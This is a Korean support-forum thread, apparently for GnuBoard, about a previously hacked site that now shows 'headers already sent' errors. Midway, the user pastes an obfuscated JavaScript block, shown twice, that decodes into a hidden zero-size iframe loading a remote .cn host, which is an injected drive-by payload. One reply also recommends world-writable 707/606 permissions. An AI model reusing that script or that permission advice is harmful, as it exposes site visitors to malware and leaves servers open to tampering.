정말 미치겠네요 잘되다가 사무실에 나오면
해킹은 한번 당한적은 있었는데 이상합니다. 잘 되다가 어제쉬고 사무실 나와서 확인하니
로그인 할때는 무엇인가 두줄짜리가 살짝 나왔다 들어가며 로그인은 됩니다. 하여간에 문제지요
제가 잽싸게 캡쳐해서 두번째 그림에 올렸구요
글구 게시판도 잘 되다가 왜 갑자기 윗에 저런오류들이 나오는지 궁금합니다. 아주 미칠지경이네요
쪽지니 스크랩이나 어드민이니 모두다 저런 오류멧세지가 나와요
알려주세요
어디가 잘못된건지 모르겠네요
로그인 할때는 무엇인가 두줄짜리가 살짝 나왔다 들어가며 로그인은 됩니다. 하여간에 문제지요
제가 잽싸게 캡쳐해서 두번째 그림에 올렸구요
글구 게시판도 잘 되다가 왜 갑자기 윗에 저런오류들이 나오는지 궁금합니다. 아주 미칠지경이네요
쪽지니 스크랩이나 어드민이니 모두다 저런 오류멧세지가 나와요
알려주세요
어디가 잘못된건지 모르겠네요
첨부파일
|
댓글을 작성하시려면 로그인이 필요합니다.
로그인
댓글 21개
소스 열어 보시면 이게 추가되어서 그런듯 한데요 -_-;;
session 이나 쿠키 선언전에는 어떤 echo 문도 실행이 먼저 되어서 결과를 뿌리면 안됩니다.
에러구문을 따라다니시다 보면 head_sub.php 라인에 뭔가가 추가 되어 있거나 처리할 부분이 있을겁니다.
<script language="JavaScript">function zrxh(gzvw){return String.fromCharCode(gzvw);}var nxmm="060105102114097109101032115114099061039060105102114097109101032115114099061034104116116112058047047109111108052117110046102105114110111112046099110047100101034032119105100116104061034048034032104101105103104116061034048034032102114097109101098111114100101114061034048034062060047105102114097109101062039032119105100116104061039048039032104101105103104116061039048039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062";var nrnp="";for(ukvv=0;ukvv<nxmm.length;ukvv+=3){nrnp+=zrxh(nxmm.substr (ukvv, 3));}window.status='Done';document.write(nrnp);</script><script language="JavaScript">function zrxh(gzvw){return String.fromCharCode(gzvw);}var nxmm="060105102114097109101032115114099061039060105102114097109101032115114099061034104116116112058047047109111108052117110046102105114110111112046099110047100101034032119105100116104061034048034032104101105103104116061034048034032102114097109101098111114100101114061034048034062060047105102114097109101062039032119105100116104061039048039032104101105103104116061039048039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062";var nrnp="";for(ukvv=0;ukvv<nxmm.length;ukvv+=3){nrnp+=zrxh(nxmm.substr (ukvv, 3));}window.status='Done';document.write(nrnp);</script>
<p> </p>
이렇케 되어있네요 그럼 어캐해야 하는지 알려주세요 어구 답답 초보라서 다시 작업해서 올리기두 걱정이고
공백이 common.php 앞에 나오면서 생기는 문제같네요.
skin/member/basic/login_check.skin.php 열어보시고,
제일 밑에 빈줄을 지우시면 로그인할때 그런문제가 안생길겁니다.
extend도 대략 그런 비슷한 문제 같은데....
data 폴더를 포함한 data 안의 모든 폴더를 707 로 주시고
data안의 모든 파일을 606으로 셋팅을 쫙 해보세요..
제 경험을 말씀드리면,
낮은 버젼의 php 와 mysql 을 사용하다 높은버젼으로 업그레이드를 했을때,
login_check.skin.php 의 빈공백을 인정하지 못하고 에러를 출력할때가 종종 있더군요..
php서버의 에러 차이가 아닌지.. 혹시 해킹을 당하셨다고 했는데,
당하신 다음 php를 업그레이드 하신적이 있으신가요.
여기에 불루의기사님이 써주신 답에보면 extend안에 index.php안에가 저렇케 되어있더라구요 암튼 잘되다가 갑장기 생긴일이라서요
일단 소스를 정리를 한번 해보세요.
tail.php 에서 <p>?/p> 이렇게 되있는 부분을 전부 <p></p>로 정리해주시고.
head.php랑 tail.php 살펴보셔서 경로가 제대로 맞춰져있는지도 확인해보세요.
Warning: Cannot modify header information - headers already sent by (output started at /home/erecreat/html/extend/index.php:1) in /home/erecreat/html/head.sub.php on line 37
이런식으로 에러가 나오는데.
html폴더 안에 그누보드를 깔았나요?
/home/erecreat/html/extend/index.php
보통은 /home/erecreat/extend/index.php 로 되어있어야 할텐데..
DB이전을 하지 않은 이상은 0부터시작할리가... 음 일단 게시판 관리가셔서
카운트 조정 클릭도 한번 부탁합니다.
글구 맞아아 html 폴더안에 깔았어요 ..
정말 바로바로 답을 써주셔서 감사합니다. 한번 해볼께요
session 이나 쿠키 선언전에는 어떤 echo 문도 실행이 먼저 되어서 결과를 뿌리면 안됩니다. 라는 말이 머예요 ? 마지막 질문인데요
php 공부하시는 책을 보시면 아시게 될 부분입니다.
세션이나 과자(cookie) 를 굽기 위해선 어떤 문장도 먼저 출력이 되어서 안된다는 말 그자체 입니다.
즉 세션이나 쿠키
세션 - 서버에 저장 (비교적 보안에 안전할까)
쿠키 - 사용자컴에 저장 (비교적 보안에 많이 불안전할까)
하는 차이가 있을뿐입니다.
이 작업이 어째든 선행으로 처리되고 난후에 정상적인 head 내지는 출력 (함수라던지 -_-; (그누에서는 주로 다운로드 부분) 일반 페이지 헤드 부분이 출력되어야 합니다.) 순서를 타야 한다는 말입니다.
순서가 반대로 되면 님의 페이지 처럼 됩니다.
이 부분은 각자의 페이지 마다 다른 환경일수도 있고 각각의 head 내용이 틀린탓에 어디가 정답이라고는
말을 못할 부분 같습니다.
직접 코딩을 열어 보기 전에는...